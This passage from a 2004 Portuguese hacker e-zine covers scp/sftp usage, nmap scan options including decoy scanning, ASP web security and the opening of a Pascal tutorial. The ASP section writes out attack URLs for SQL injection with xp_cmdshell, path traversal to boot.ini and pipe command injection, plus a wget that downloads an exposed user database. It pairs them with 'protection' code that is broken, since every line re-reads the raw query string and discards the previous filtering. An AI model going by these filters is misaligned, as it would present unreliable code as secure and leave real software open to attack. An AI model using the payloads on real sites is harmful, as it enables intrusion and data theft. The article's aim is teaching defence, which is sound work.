/tmp/motd_guide_01.zip usuario@motdlabs.org:/teste Esse comando copia da máquina de origem o arquivo motd_guide_01.zip que esta na pasta tmp para a pasta teste no servidor remoto. Para baixar um arquivo do servidor remoto: Sintaxe: scp usuario@servidor_remoto:arquivo usuario@sua_maquina:arquivo Exemplo: [usuario@localhost]$ scp usuario@motdlabs.org:/teste/motd.zip usuario@localhost:/tmp Para saber mais consulte as paginas do man scp. sftp : Similar ao uso do ftp, a diferença é que o sftp realiza todas as operações de forma criptografada. Os comandos são similares ao clássico ftp: [usuario@localhost]$ sftp ftp.motdlabs.org Connecting to ftp.motdlabs.org... usuario@motdlabs.org password: sftp>help Available commands: cd path Change remote directory to 'path' lcd path Change local directory to 'path' chgrp grp path Change group of file 'path' to 'grp' chmod mode path Change permissions of file 'path' to 'mode' chown own path Change owner of file 'path' to 'own' help Display this help text get remote-path [local-path] Download file lls [ls-options [path]] Display local directory listing ln oldpath newpath Symlink remote file lmkdir path Create local directory lpwd Print local working directory ls [path] Display remote directory listing lumask umask Set local umask to 'umask' mkdir path Create remote directory put local-path [remote-path] Upload file pwd Display remote working directory exit Quit sftp quit Quit sftp rename oldpath newpath Rename remote file rmdir path Remove remote directory rm path Delete remote file symlink oldpath newpath Symlink remote file version Show SFTP version !command Execute 'command' in local shell ! Escape to local shell ? Synonym for help sftp> Um exemplo de uso [usuario@localhost]sftp usuario@motdlabs.org sftp>get motd_guide_01.zip ~~~~~~~~~~~~~~~~~~ 5 - Clientes SSH ~~~~~~~~~~~~~~~~~~ Existem muitos clientes disponíveis hoje no mercado desde o original da empresa finlandesa SSH ( http://www.ssh.fi ),ate mesmo versões freewares para várias plataformas e sistemas operacionais. Para sistemas *nix existe o OpenSSH(http://www.openssh.org/), que inclui um cliente de terminal e de transferência de arquivos, e o Yafc(http://yafc.sourceforge.net/) que apenas contem um cliente para transferência de arquivos, ambos são 'opensource'. Como a opção da maioria continua sendo o Windows, caso você queira utilizar um cliente SSH a partir de uma estação Windows,os mais populares são o PuTTY (http://www.chiark.greenend.org.uk/~sgtatham/putty/), o TeraTERM ou o SecureTTY (http://www.vandyke.com/), caso nenhum desses consiga suprir suas necessidades procure nos sites de downloads por outros programas e maiores informações. ~~~~~~~~~~~~~~ 6 - Conclusão ~~~~~~~~~~~~~~ A implementação desses protocolos deve ser robusta. Por exemplo, ser simplesmente capaz de logar-se a um host utilizando um cliente SSH, não significa, necessariamente, que a informação tenha sido criptografada com segurança. Deve-se verificar quais são os algoritmos de criptografia suportados. Investindo nessa tendência, muitos fabricantes anunciam seus produtos como sendo "seguros", baseados em apenas alguns recursos relacionados a segurança (por exemplo, muitos servidores são chamados de "seguros", simplesmente porque suportam conexões SSH). Isto está relacionado com a época em que a maior parte do gerenciamento out-of-band era feito usando Telnet através de um servidor de terminal "inseguro" em uma rede local. Bom pessoal ainda falta muita coisa a ser dita sobre SSH , espero que esse pequeno txt tenha esclarecido um pouco sobre esse protocolo, e que mais ninguem confunda SSH com telnet :). ~~~~~~~~~~~~~~~~ 7 - Referências ~~~~~~~~~~~~~~~~ Página manual do SSH, man ssh How to use SSH, http://www.csua.berkeley.edu/ssh-howto.html The SSH Home Page : Tem várias informações sobre SSH http://www.ssh.org/ The SSH FAQ : Perguntas e respostas sobre SSH http://www.employees.org/~satch/ssh/faq/ Net-Security http://www.net-security.org. RNP http://www.rnp.br. Cyclades http://www.cyclades.com.br/ ~~~~~~~~~~~ 8 - Links ~~~~~~~~~~~ * MOTD Home Page -> http://www.motdlabs.org/ * InfosHack InSecurity ->http://www.infoshack.motdlabs.org * CDM Home Page -> http://cdm.frontthescene.com.br * FTS Home Page -> http://www.frontthescene.com.br -------------- EOF ----------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[09]-=[Usando o NMAP]-=|REPOLHO|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1.Introducao Neste (mini) artigo mostrarei as opcoes "basicas" do nmap, este portscan apesar de ser muito famoso e conhecido por toda populacao linux do mundo, tem muito gente mesmo que nao sabe utiliza-la de forma completa e util, desconhecendo assim esta grande ferramenta. 2.O que eh? O nmap eh um utilitario open source utilizado para exploracao da rede e/ou examinar a seguranca de um servidor/rede. O uso mais comum dele eh como portscan e deteccao de SO de um alvo qualquer. 3.Como usar Para utilizar o nmap a sintaxe eh a seguinte: nmap [tipo de scan] [opcoes] sendo assim vou mostrar os principais tipos de scan primeiro e logo mais as opcoes que tem alguma utilidade. 4. Tipos de Scan - Metodos e Varredura -sT TCP connect Scan: esta forma eh a mais simples de scan, pois ele usa a chamada de sistema "connect()" que tenta conectar porta em porta ateh que receba um valor igual a 0 , que corresponde porta aberta, eh um metodo muito mas deixa milhares de logs, pois seria como se um cliente conectasse no servidor, sendo assim, deixando todo o log no sistema. -sP Ping Scan: neste metodo o nmap envia um ping para o alvo para saber se o host esta up ou nao, mas como existem hoje varios metodos que barram pacotes ICMP, entao o nmap manda tmb pacotes de TCP ACK na porta 80, caso o nmap obtem resposta ele. OBS: este metodo eh usado apenas para ver se o servidor esta up sem realmente scanear as portas . -sS TCP SYN Scan: este metodo manda um pacote SYN como se fosse uma conexao real e aguarda resposta, caso a resposta seja um pacote SYN ACK, a porta esta aberta, caso receba a flag RST como resposta, indica que a porta esta fechado, isto eh, nao esta em modo listening, o bom deste metodo eh que eh mais dificil a deteccao de das conexoes. -sU UDP Scan: este metodo eh utilizado para verificar as portas UDP de um alvo qualquer. Ele manda um pacote UDP de 0 bytes pra cada porta , se receber um pacote ICMP como resposta entao a porta esta fechada, senao a porta PODE estar aberta. -sR RPC scan: Ele pega todas as portas TCP/UDP encontradas abertas e inunda elas com comandos NULL de programas SunRPC numa tentativa de determinar quando elas são portas RPC, e se sao, qual programa e versao dos servicos. Seria quase o mesmo que usar o comando "rcpinfo -p" mesmo estando atras de um firewall. -sX -sF -sN Modos Stealth FIN, Xmas Tree, ou Null scan: este e um metodo "menos" visiveis, pois eles passam atraves de um firewall, ou servidor de deteccao de scan, este metodo nao funciona com maquina window, portanto eh um metodo de identificar por cima qual SO que a vitima esta usando. -sI Metodo idlescan: este metodo nao possui no man do Nmap, uma documentacao sobre este metodo esta disponivel em : http://www.insecure.org/nmap/idlescan.html, este eh um metodo onde o atacante nao envia nenhum pacote saindo de sua maquina, deem uma olhada no site para mais infos, mas um detalhe... eh show di bola ;) PS: nao vou colocar tudo aqui pq eh muito material sobre o idlescan. 5. Opcoes -A Esta opcao mostra a versao do programa rodando naquela porta, isso eh muito util, ja que utilizar scaners de vulnerabilidades provoca muito barulho, identificado q programa e qual a versao dele, podemos correr atras de falhas para o mesmo, fazendo assim o trabalho de um scan de vulnerabilidades. -D Durante uma varredura, utiliza uma serie de endereços falsificados, simulando que o scanning tenha originado desses varios hosts, sendo praticamente impossível identificar a verdadeira origem da varredura. Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo -F Procura pelas portas que estao no /etc/services. Metodo mais rapido, porem nao procura por todas as portas. -I Se o host estiver utilizando o ident, eh possivel identificar o dono dos servicos que estao sendo executados no servidor (trabalha com a opcao -sT) -n Nao ira resolver nomes, soh funciona com IP. -O Mostra o sistema operacional e a versao usada pelo sevidor (nao eh 100% confiavel) -p Voce especifica quais portas vao ser verficadas Ex.: nmap -p 21,22,80 vitima -P0 Faz a varredura sem pingar o host antes, pois pode acontecer da vitima nao aceitar ICMP. -R Ira resolver nomes de hosts que serao varridos. -ttl Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote. Ex.: nmap -ttl 55 vitima 6. Consideracoes Finais Bom basicamente eh isso, isto eh soh algumas opcoes do nmap , a intencao de eu escrever este artigo e soh pra quem nao tem a minima ideia que o nmap tem estas opcoes ou nao sabe ingles pra ler o man ou tem preguica de ler o man em portugues do site. Abracos a todos. 7. Agradecimentos Bom... dedico este artigo a todo o pessoal da scene hacker, ao pessoal da MOTD, CDM e FTS, obrigado mais uma vez ao meu amigo inferninh0 por ter contribuido em alguns pontos do artigo. 8. Links Interessantes - http://www.repolho.org/ - http://www.insecure.org/nmap - http://www.motdlabs.org/ - http://cdm.frontthescene.com.br/ - http://www.frontthescene.com.br/ - http://inferninho.motdlabs.org/ - http://www.google.com.br/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[10]-=[ASP Security]-=|Stinger|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Active Pages Security Introdução Stinger stinger@motdlabs.org http://stinger.motdlabs.org ********************************************************************** * * * * * * ********************************************************************** Fui informado a tempos que a Microsoft vai abrir uma academia de formacao aqui em Angola. Eu nao tenho nada contra isso, muito pelo contrario sou a favor de iniciativas que incentivam o ensino, mas quando se trata de ensinar mal e pob remente assim como a maior parte dessas academias eu resolvo me retirar. Bast a olhar para os outros paises que ja provaram o 'sabor' da Microsoft e ver que quem vai aprender em escola de 'rico' nao se da bem. Podemos ver isso nos milhares de codigos com bugs produzidos por programadores 'Microsoft Certified'. Meus amigos diploma nao eh tudo, eu nao fiz nenhum curs o para aprender a dominar linguagens de programacao, para dominar redes e etc. Por isso dedique-se e estude isso vai fazer de voce um cara mais respeitado no mundo da 'computacao seria' onde nem sempre o que vale eh o diploma. E sabe qual tem sido o resultado da falta de estudo e excesso de confianca nos certificados? Milhares de linhas de codigo bem arrumadas, codigos bonitos e etc. Isso mesmo as empresas contratam programadores, e os crackers? Os Vandalos? Os Gatunos? SAO FACILITADOS. Este artigo pretende demonstrar nao so como detectar bugs em ASP mas tambem como proteger-se. Includes Os includes sao o primeiro grande problema dos programadores iniciantes em ASP. O problemas nao se baseiam exactamente nos includes, eles estao safos mas o problemas localiza-se na extensao desses arquivos muitas vezes setados como .inc Vejamos por exemplo uma pagina que usa um arquivo include. http://www.site.co.ao/verificapass.htm Ao analisarmos o codigo fonte verificamos as seguintes linhas: C:\>type verificapass.htm > log.txt C:\>Type log.txt .. ... <% REM Arquivo para verificar as passwords REM Fim do arquivo %> ... .. Podemos ver ali a existencia de uma chamada a um arquivo com a extensao .inc em seguida abrimos o browser e digitamos: http://www.site.co.ao/pass.inc Vemos o seguinte: <% Dim id, password, q, rs, d id = Request.Form("id") password = Request.Form("password") ' ** Create your Query q = "SELECT * FROM password WHERE id LIKE '" &_ id & "' AND password LIKE '" & password & "'" ' ** Create a RecordSet to store the results of the Query Set rs = Server.CreateObject("ADODB.RecordSet") rs.Open q, "DSN=Banco;" ' ** check for no records returned (id or password not found) if NOT rs.EOF then ' ** Set cookies for user's convenience d = Date Response.Cookies("userid") = id Response.Cookies("pword") = password Response.Cookies("userid").Expires = DateAdd("yyyy",2,d) Response.Cookies("pword").Expires = DateAdd("yyyy",2,d) end if %> Podemos ver claramente que o algoritimo de autenticacao pode ser visto a olho nu por isso um conselho: Quando for usar includes evite sempre a extensao .inc .htm .html .txt use sempre a extensao .asp! Base64 Existem pessoas que ainda insistem em codificar os seus dados com base64, nao sei porque ainda fazem isso ja que sabe-se de meios e esquemas de se descodificar esses dados facilmente paginas web, programas preparados para descodificar dados cofificados com base64. O meu programa PassManipulator pode ser usado para codificar e decodificar strings em base64 propriamente especificados pela RFC 2045(Multipurpose Internet Mail Extensions). Usando assim: C:\>pman encode string C:\>pman encode file C:\>pman decode string C:\>pman decode file [Stinger@Boxuh]$perl pman encode string [Stinger@Boxuh]$perl pman encode file [Stinger@Boxuh]$perl pman decode string [Stinger@Boxuh]$perl pman decode file Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso. Bases de dados Acess Realmente um grande problema. As bases de dados acess se acessadas podem revelar informacoes fidedignas da base de dados como usernames passwords etc. Voce pode usar a ferramenta srcmdb.pl que eu desenvolvi para tentar procurar por bases de dados acess: C:\>perl srcmdb.pl www.site.com Ou C:\>perl srcmdb.pl www.site.com dir1 dir2 dir3 Esses dir1 dir2 dir3 indicam que ele vai procurar bases de dados nesses diretorios. Use o arquivo srcmdb.cf para indicar outros nomes a procurar. Realmente isso acontece assim. Se voce acessa a URL: www.site.com/users.mdb Entao ele baixa a base de dados para o seu computador. Ou pode ser via wget: [Stinger@Boxuh]$wget http://www.site.com/users.mdb Obs: Ainda nao coloquei o programa no server. Daqui a 2/3 semanas contem com isso. Filtragem de caracteres(Replace) A filtragem de caracteres eh uma particularidade do ASP(e de outras), basicamente o que ela faz eh subistituir caractere a caractere. Vamos analisar em seguida ataques que podem ser barrados usando essa funcao. XSS - Cross site Scripting Bugs Esses bugs tem sido um problema ignorado por muita gente. Mas eles nem sabem que tem sido explorados com sucesso. Ainda tenho visto muitas apps e sites com bugs desse tipo e eles nem ligam nenhuma. Basicamete com esse bug e se voce for vitima qualquer pessoa pode acessar seu cookie ou mesmo redirecciona-lo a uma pagina maliciosa a fim de executar comandos. Bem mas concentremo-nos nos cookies. Como voce sabe(eu nao sei se voce sabe)os cookies sao arquivos armazenados no computador que armazenam informacoes sobre a navegacao em paginas dinamicas ou nao. Por exemplo se voce digitou seu username e password uma vez voce nao precisa digitar mais gracas ao cookie, e eh ai onde entra o perigo um atacante pode obter seus cookies chamando uma funcao javascript e atirando os cookies para um servidor previamente preparado. Tendo capturado seus cookies ele simplesmente esparrama na pasta cookie do pc dele e acessa o site cujo cookie voce possuia. Sendo assim, ou seja tendo o teu cookie na maquina dele ele vira voce, porque a pagina vai identificar o cookie e vai com base no cookie vai deixar ele acessar suas contas. Proteccao Basta filtrar as URl's que nao prestam: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Cross Site Scripting id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"-"," ") id=Replace(Request.Querystring("id"),">"," ") id=Replace(Request.Querystring("id"),"<"," ") id=Replace(Request.Querystring("id"),"."," ") id=Replace(Request.Querystring("id"),"!"," ") id=Replace(Request.Querystring("id"),"%"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Se um atacante tenta um ataque com a seguite URL http://www.siteprotegido.ao/Page.asp?id= O ataque vai ser filtrado. SQL Injection ataques Os ataques com base em sql injection tem aumentado de grau. Cito uma grande rede criada para ser segura (e era) a nivel de protocolos de transaccao, usava Linux SSL, e algo mais, mas era vulneravel a SQL Injection. Com isso mais de 40.000 contas ficaram expostas. Imagine se fosse um cracker ou Kiddie que descobrisse aquilo? Proteccao Basicamente a proteccao eh quase identica a do XSS mas tenha atencao em filtrar os caracteres , ; - %20 etc. Page.asp <% 'Exemplo de proteccao contra 'Ataques de SQL Injection id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"-"," ") id=Replace(Request.Querystring("id"),","," ") id=Replace(Request.Querystring("id"),";"," ") id=Replace(Request.Querystring("id"),"%20"," ") id=Replace(Request.Querystring("id"),"or"," ") id=Replace(Request.Querystring("id"),"select"," ") id=Replace(Request.Querystring("id"),"SELECT"," ") id=Replace(Request.Querystring("id"),"*"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Se um atacante tenta um ataque com a seguite URL http://www.siteprotegido.ao/Page.asp?id=21';SELECT ... Vai ser filtrada. Extored Procedures O servidor SQL da Microsoft possui extored Procedures que permitem a execucao de instrucoes de maquinas em paginas da internet: URL Normal http://www.siteprotegido.ao/Page.asp?id=21 URL com ataque em extored procedures http://www.siteprotegido.ao/Page.asp?id=21';EXEC master.dbo.xp_cmdshell 'cmd.exe dir Onde master.dbo.xp_cmdshell eh uma extored procedure Existem dezenas de outras que permitem a manipulacao do registro do sistema por exemplo. Proteccao Page.asp <% 'Exemplo de proteccao contra 'Ataques de SQL Injection Com Extored Procedures id=Replace(Request.Querystring("id"),"EXEC"," ") id=Replace(Request.Querystring("id"),";"," ") id=Replace(Request.Querystring("id"),"'"," ") id=Replace(Request.Querystring("id"),"."," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Diretorio Transversal Os ataques de dot dot em servidores e em aplicacoes da Web que manipulam dados. Vamos ver uma URL valida http://www.siteprotegido.ao/Page.asp?id=21 Basicamente se um atacante digita nessa URL: http://www.siteprotegido.ao/Page.asp?id=../../../../../C:\boot.ini Ele pode ver na pagina qualquer arquivo no servidor Proteccao Vamos retirar os bad caracteres: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Dot Dot id=Replace(Request.Querystring("id"),"%20"," ") id=Replace(Request.Querystring("id"),"."," ") id=Replace(Request.Querystring("id"),"/"," ") id=Replace(Request.Querystring("id"),"//"," ") id=Replace(Request.Querystring("id"),"\"," ") id=Replace(Request.Querystring("id"),"\\"," ") id=Replace(Request.Querystring("id"),":"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Pipe Nao vou dar uma explicacao tecnica sobre pipe mas se voce quiser sabe pode ir digitando na sua console: Windows dir | dir *.exe Linux ls | cd / Voce pode ver que ele executa dois comandos simultaneamente, isso mesmo aconselho voce a ler o meu artigo 'Debug-Pro.txt' Esse problema foi amplamente divulgado quando o RFP demonstrou ele naquele problema do ODBC do Windows o que resultou em milhares de paginas pichadas por kiddies. Basicamente uma URL valida: http://www.siteprotegido.ao/Page.asp?id=21 http://www.siteprotegido.ao/Page.asp?id=|cmd+/c+dir Proteccao Vamos retirar os bad caracteres: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Pipe id=Replace(Request.Querystring("id"),"|"," ") 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Case sensitivismo Um 'espertinho' pode muito bem usar tecnicas de casesensitivismo a fim de tentar passar por tecicas de proteccao muito usadas em sistemas de IDS como protocol analisys. Nesse caso: e nao sao iguais. Lembro que o Snort era vulneravel a essa tecnica Proteccao Passa por chamar uma funcao do ASP que transforma letras maiusculas em minusculas: Page.asp <% 'Exemplo de proteccao contra 'Ataques de Case Sensitivismo id=LCase(Request.Querystring("id")) 'A seguir retiramos os espacos: 'Sem lados id=Trim(Request.Querystring("id")) 'A esquerda id=LTrim(Request.Querystring("id")) 'A direita id=RTrim(Request.Querystring("id")) %> Bem por hoje eh tudo na proxima parte pretendo abordar tecnicas de proteccao mais avancadas contra codificacao de bytes em hexadecimal e decimal ate tecnicas de rastreamento e logging, algumas tecnicas de diversao a fim de 'massacrar' o atacante e fazer ele perder tempo a toa pensando que esta atacando a rede. Pretendo ainda falar sobre pattern matching. 4:17 PM 2/23/2004 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[11]-=[Programação em Pascal]-=|d4rwin|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Programação em Pascal =========== == ====== E aí galera, blz? So eu(tio d4rwin) mais uma vez, =). Bom, resolvi escrever sobre pascal, pq visto que o público alvo do e-zine são newbies(como eu), seria legal para pessoas que estão començando, ou mesmo os já iniciados, aprender ou aprimorar seus conhecimentos em programação. O pascal, além de ser uma linguagem de alto nível, não é difícil de se aprender, basta dedicação e programaçao. Programação se aprende programando. Lógico que a parte teórica é importante, mas praticar sempre foi e sempre será a melhor forma de se aprender. Agora vamos deixar de blá blá blá e vamos ao que interessa... Index ~~~~~ 1.0 ..... Introdução 1.1 Lógica de Programação 1.2 Quem criou o Pascal? 2.0 ..... Compiladores 2.1 Borlando Pascal 7.0 2.2 FreePascal 2.3 Outros compiladores 3.0 ..... Estrutura do programa em Pascal 3.1 Cabeçalho 3.2 Comentário 3.3 Título 3.4 Bibliotecas 3.5 Constantes 3.6 Tipo 3.7 Variáveis 3.7.1 Declarando Variáveis 3.8 Corpo do Programa 3.9 O uso do ; 4.0 ..... Sinais 5.0 ..... Comandos Básicos 6.0 ..... Estruturas 6.1 Estruturas de Atribuição 6.2 Estruturas Condicionais 7.0 ..... Laços 7.1 Laço FOR 7.2 WHILE 7.3 Repeat 8.0 ..... Vetores 9.0 ..... Matrizes 10.0 .... Registros 11.0 .... Tratamento de Arquivos 12.0 .... Procedimentos e Funções 13.0 .... Agenda Eletrônica em Pascal 14.0 .... Exercícios 15.0 .... Agradecimentos 16.0 .... Links 1.0 - Introdução ~~~~~~~~~~ Vc deve estar se perguntando: "Porque eu, em pleno ano 2004, uma época em que já lançaram o Delphi 8, vou aprender Pascal, uma linguagem antiga e orientada a eventos?". Aí eu te respondo meu amigo, a primeira linguagem que aprendemos, nós nunca esquecemos. É como andar de bicicleta. Com base nisso, o Pascal é uma ótima linguagem para se começar. O Pascal daria uma boa base pra vc, depois, aprender uma outra linguagem. E tem aquela história, todo conhecimento é bem vindo. 1.1 - Lógica de Programação ~~~~~~ ~~ ~~~~~~~~~~~ Entende-se por lógica de programação, uma seqüência de passos a serem tomados para resolver determinado problema(no nosso caso, construir um programa). Não adianta o cara saber colocar textos e figurinhas na tela, se este não tiver uma boa lógica de programação, e, é isto que difere o bom programador do programador ruim. Ter uma boa lógica, significa conseguir resolver os problemas(construir os programas), para que o resultado final seja satisfatório. Portanto, vá com calma. Não vá com muita sede ao pote...primeira aprenda a andar, pra depois correr.(Filosofei bonito agora, hein, =)). 1.2 - Quem criou o Pascal? ~~~~ ~~~~~ ~ ~~~~~~~ O Pascal foi criado por Niklaus Wirth, em 1972, em Genebra-Suiça. O nome da linguagem foi uma homenagem ao matemático e filósogo Blaise Pascal(inventor da primeira calculadora mecânica). O objetivo de Niklaus Wirth, era o de desenvolver uma linguagem simples, clara e fácil de programar. 2.0 - Compiladores ~~~~~~~~~~~~ Não vou entrar em detalhes sobre o que são compiladores, pois já falei sobre eles na Zine MOTD GUIDE 01, no texto "Introdução à Programação". O que basicamente os compiladores fazem são transformar o código de alto nível(código em Pascal), para linguagem de máquina. 2.1 - Borland Pascal 7.0 ~~~~~~~ ~~~~~~ ~~~ O Borlando Pascal ou Turbo Pascal(são os mesmos) surgiu em 1985, com a Borland. Isto provocou um verdadeiro avanço para a linguagem. Desde as suas primeiras versões o Turbo Pascal já possuia ambiente para digitação e depuração do código, e fazia a compilação e linkedição em um único processo. A última versão do Turbo Pascal lançado foi o Turbo Pascal 7.0. Porém a Borland parou o desenvolvimento do Turbo Pascal, fazendo com que ele se torna -se ultrapassado, mas ainda muito utilizado, para os tempos atuais. 2.2 - FreePascal ~~~~~~~~~~ O FPC(FreePascal Compiler) é um projeto OpenSource que visa continuar com o desenvolvimento da linguagem Pascal. Além de ser compatível com o Turbo Pascal 7.0, possui vários projetos em andamentos. Possui mais recursos que o Turbo Pascal 7.0, e ainda permite interagirmos com alguns GUIs(Graphics User Internface) e APIs. O site do projeto é: www.freepascal.org | Em português: http://www.freepascal.eti.br. 2.3 - Outros Compiladores ~~~~~~ ~~~~~~~~~~~~ Além dos dois compiladores citados acima, tem outros que também merecem respeito. Abaixo segue a lista de alguns, com seus respectivos sites: Compilador | Site ^^^^^^^^^^ ^^^^ --------------------------------------------------------------------------- | Pascaler | www.pascaler.hpg.com.br / www.infoxbr.com.br | |---------------------------------------------------------------------------| | PascalZIM! | www.superdownloads.com.br / autor: pascalzim@yahoo.com.br| --------------------------------------------------------------------------- 3.0 - Estrutura do Programa em Pascal ~~~~~~~~~ ~~ ~~~~~~~~ ~~ ~~~~~~ Um programa em Pascal possui básicamente a seguinte estrutura: { Nome do Programa ...............: Função .........................: Plataforma .....................: Linguagem ......................: Data de criação ................: Data de última alteração .......: Autor ..........................: } Program Nome_do_Programa; Uses ; Const = 'valor_da_constante'; Type : ; Var : ; Begin comandos; comandos; comandos; . . . comandos; End. 3.1 - Cabeçalho ~~~~~~~~~ O cabeçalho não é uma parte fundamental para o funcionamento do programa. Mas é bom você adotar o costume de utilizá-lo, pois assim terá um melhor controle de seu programa, e sentirá menos dificuldade na hora de atualizá-lo. Um exemplo de Cabeçalho: { Nome do Programa ...............: Função .........................: Plataforma .....................: Linguagem ......................: Data de criação ................: Data de última alteração .......: Autor ..........................: } 3.2 - Comentário ~~~~~~~~~~ Comentários são frases ou pequenos parágrafos auto-explicativos que visam deixar mais claro ao programador o funcionamento de seu programa, assim como ajudá-lo na hora de atualizá-lo. Um exemplo de comentário em Pascal: { Este é um exemplo de comentário em Pascal. Tudo o que for escrito entre CHAVES, é desconsiderado pelo compilador. O comentário pode continuar por vários linhas, até a segunda chave. } (* Este é outro exemplo de comentário em Pascal. Tanto este como o exemplo acima são válidos. *) 3.3 - Título ~~~~~~ Título é o nome que o seu programa vai ter. Não tem segredo, ele é declarado da seguinte forma: Program ; 3.4 - Bibliotecas ~~~~~~~~~~~ Em pascal, damos o nome de Units as Bibliotecas. É nas bibliotecas/units onde ficam armazenadas as rotinas e funções a serem utilizadas no programa. Assim como em C, temos a Bibliteca stdio.h como "padrão", no Pascal, temos a unit CRT, utilizado em quase todos os programas feitos em Pascal. Um exemplo de declaração de Units: Uses ; por exemplo: Uses CRT,DOS,Graph; 3.5 - Constantes ~~~~~~~~~~ Constantes são "variáveis" que nunca mudam. Uma vez declarado um valor para uma constante, esse valor jamais mudará. Um exemplo de declaração de constantes: Const = 'valor_da_constante'; por exemplo: Const d4rwin = 'lindao'; 3.6 - Tipo ~~~~ Em Pascal, podemos declarar nossas próprias variáveis, desde que especifiquemos o tipo desta variável. Um exemplo de um declaração de tipo: Type = ; por exemplo: Type d4rwin = string; 3.7 - Variáveis ~~~~~~~~~ As variáveis em Pascal, são dividas em quatro grupos, sendo elas: Numéricas -> Podem ser números inteiros ou reias, pelos dígitos de 0 a 9, sinais + ou - e "." para casas decimais. Alfanuméricas -> Podem ser formadas por qualquer caractere da tabela ASCII. Lógicas -> Podem assumir apenas dois valores: TRUE(Verdadeiro) e FALSE(Falso). Ponteiros -> Podem armazenar apenas endereços de memória. Tipos de variáveis: ----------------------------------------------------------------------------------------- | Classe | Tipo | Valores Comportados | Bytes que Ocupa na Memória | | ------------|--------------|-----------------------------|------------------------------| | Boolean | Lógico | TRUE ou FALSE | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Byte | Num. Inteiro | 0 a 255 | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Char | Caracter | Tabela ASCII | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Comp | Num. Real | -9.2E18 a 9.2E18 | 8 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Double | Num. Real | 5.0E-324 a 1.7E308 | 8 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Extended | Num. Real | 3.4E-4932 a 1.1E4932 | 10 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Integer | Num. Inteiro | -32768 a 32767 | 2 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Longint | Num. Inteiro | -2147483648 a 2147483647 | 4 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Real | Num. Real | 2.9E-39 a 1.7E38 | 6 bytes | | ----------- |--------------|-----------------------------|------------------------------| | Shortint | Num. Inteiro | -128 a 127 | 1 byte | | ----------- |--------------|-----------------------------|------------------------------| | Single | Num. Real | 1.5E-45 a 3.4E38 | 4 bytes | | ----------- |--------------|-----------------------------|------------------------------| | String | Caracter | Cadeia de Caracteres | Varia de 2 a 256 | | ----------- |--------------|-----------------------------|------------------------------| | Word | Num. Inteiro | 0 a 65535 | 2 bytes | ----------------------------------------------------------------------------------------- 3.7.1 - Declarando Variáveis ~~~~~~~~~~ ~~~~~~~~~ Bem, existem variáveis globais e locais. Mas não vamos entrar nisso por enquanto. A declaração de uma variável em Pascal segue a seguinte sintaxe: Var : tipo da variável; : tipo da variável; : tipo da variável; por exemplo: Var d4rwin : string[15]; num1,num2 : integer; contador : word Resposta : char; {Repare no string[15]. O número entre parênteses indica que a variável terá no máximo 15 caracteres. Quando não se coloca o valor entre parênteses, o programa considera a variável com o limita máximo de 256 caracteres.} 3.8 - Corpo do Programa ~~~~~ ~~ ~~~~~~~~ Vimos até agora, Constantes,Tipo e Variáveis. Esses três campos servem para dizermos ao compilador quais recursos iremos utilizar, para que assim ele reserve um espaço na memoria para tais recursos. Depois de declarados o que iremos utilizar no programa, vamos ao bloco principal ou corpo do programa. O bloco principal começa no momento em que digitamos BEGIN, e acaba quando digitamos END. Veja um exemplo: Begin comandos; comandos; comandos; comandos; End. 3.9 - O uso do ;(ponto-e-vírgula) ~ ~~~ ~~ ~~~~~~~~~~~~~~~~~~ É importante ressaltar o uso do ";". O ";" é muito importante, pois é ele quem indica que a linha terminou. Se nos esquercermos de por o ";" o programa na compilará, por isso sempre preste muita atenção. 4.0 - Sinais ~~~~~~ Assim como na matemática nós utilizamo-nos de sinais para efutuar cálculos e operações, em Pascal não podería ser diferente. Abaixo, segue os sinais e para que servem: + -> Soma - -> Subtração / -> Divisão 